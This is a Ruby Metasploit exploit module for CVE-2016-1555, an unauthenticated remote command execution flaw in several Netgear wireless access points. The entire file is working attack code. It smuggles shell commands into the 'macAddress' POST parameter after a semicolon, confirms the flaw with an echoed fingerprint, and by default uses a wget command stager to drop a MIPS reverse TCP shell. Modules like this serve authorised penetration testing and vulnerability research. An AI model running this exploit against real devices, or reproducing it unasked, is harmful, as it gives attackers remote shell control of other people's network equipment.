##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear Devices Unauthenticated Remote Command Execution',
'Description' => %q{
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
(3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
arbitrary commands.
},
'Author' =>
[
'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery
'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1555'],
['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'],
['PACKETSTORM', '135956'],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112']
],
'DisclosureDate' => 'Feb 25 2016', # According to http://seclists.org/fulldisclosure/2016/Feb/112
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 10 },
'Targets' => [['Automatic', { }]],
'CmdStagerFlavor'=> %w{ echo printf wget },
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php
OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)])
])
end
# check for vulnerability existence
def check
fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
res = execute_command("echo #{fingerprint}") # the raw POST response
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
return CheckCode::Safe
end
unless res.get_html_document.at('input').to_s.include? fingerprint
return CheckCode::Safe
end
CheckCode::Vulnerable
end
# execute a command, or simply send a POST request
def execute_command(cmd, opts = {})
vars_post = {
'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};",
'reginfo' => '1',
'writeData' => 'Submit'
}
send_request_cgi({
'method' => 'POST',
'headers' => { 'Connection' => 'Keep-Alive' },
'uri' => normalize_uri(target_uri.path),
'vars_post' => vars_post
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
end
# the exploit method
def exploit
#run a check before attempting to exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
end
execute_cmdstager(linemax: 2048) # maximum 130,000
end
end
